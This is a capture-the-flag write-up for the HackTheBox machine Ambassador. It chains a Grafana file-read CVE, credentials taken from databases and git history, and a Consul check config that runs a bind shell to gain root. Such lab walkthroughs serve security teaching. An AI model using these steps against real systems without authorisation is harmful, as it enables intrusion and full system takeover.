HTB Ambassador

Ambassador is the medium difficulty hackthebox machine.

Enumeration

Running nmap tells us that there is Grafana on port 3000 and MySQL on port 3306.

By doing a quick google search we can find out that it’s vulnerable to unauthorized arbitrary file read attack (CVE-2021-43798).

Machine break-in

Then we exploit that vulerability to get grafana.db (see this or this as references).

As we can see, it’s the sqlite3 db:

$ file grafana.db
grafana.db: SQLite 3.x database, last written using SQLite version 3035004 <...>

Next, open it with the sqlite3 cli tool:

$ sqlite3
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open grafana.db
sqlite> .tables
<...>
dashboard_version           temp_user
data_source                 test_data
kv_store                    user
<...>

We remember that we saw an open MySQL port, so we should be particularly interested in the data_source table as it may contain some credentials. Expectedly, it really does:

sqlite> select * from data_source;
2|1|1|mysql|mysql.yaml|proxy||<password>|grafana|grafana|<...>

Next, log into MySQL:

$ mariadb -h 10.10.11.183 -u grafana -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
<...>

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+
6 rows in set (0.075 sec)

There’s one database with an attractive name, let’s check it:

MySQL [mysql]> use whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users                  |
+------------------------+
1 row in set (0.051 sec)

MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | <b64pass>                                |
+-----------+------------------------------------------+
1 row in set (0.068 sec)

Looks like a base64 encoded string, why don’t we try to decode?

$ echo <b64pass> | base64 -d
<pass>

And that’s the correct password of the developer user!

$ ssh developer@10.10.11.183
developer@10.10.11.183's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)
<...>

The user flag is there, so we head for the root one.

Privilege escalation

We can notice that we have write permissions on /etc/consul.d/config.d directory (via regular enumeration, e.g. find / -group developer 2>/dev/null | grep -v proc). Also, if we look at the running processes, we can notice that consul is started as /usr/bin/consul agent -config-dir=/etc/consul.d/config.d -config-file=/etc/consul.d/consul.hcl. A quick look at the Consul documentation tells us that any file in that directory with .json or .hcl suffix will be sourced by Consul.

Further exploration tells that we can write a check in json format that executes arbitrary local program. Let’s put a bind shell in /home/developer/bindshell.py (don’t forget the shebang!) and put an appropriate check config to /etc/consul.d/config.d named e.g. bindshell.json. It may look like:

{
  "check": {
    "id": "bindshell",
    "name": "Bind Shell",
    "args": [
      "/home/developer/bindshell.py"
    ],
    "interval": "10s",
    "timeout": "600s"
  }
}

(That’s not the only way, however: somewhat easier would be, for example, to place an SUID on bash.)

Ok, we’ve placed our malicious configuration. Now we need Consul to read it.

Expectedly, it requires an access token for operations such as reload. Where would we find one?

Well, in the home directory of developer there is .gitconfig, which suggests that /opt/my-app is a git repository:

$ cat .gitconfig
[user]
	name = Developer
	email = developer@ambassador.local
[safe]
	directory = /opt/my-app

In /opt/my-app/whackywidget we can see the MySQL credentials deployment script that utilizes Consul. It lacks both Consul and MySQL credentials, however. Maybe there is something interesting about that in git history? And there is! The last commit removed the token from that script, so we can easily find it in diff with git show:

commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script

diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
 # We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
 
-consul kv put --token <token> whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD

Now running consul reload -token=<token> should be enough to make our bind shell appear.

Subsequent actions are trivial.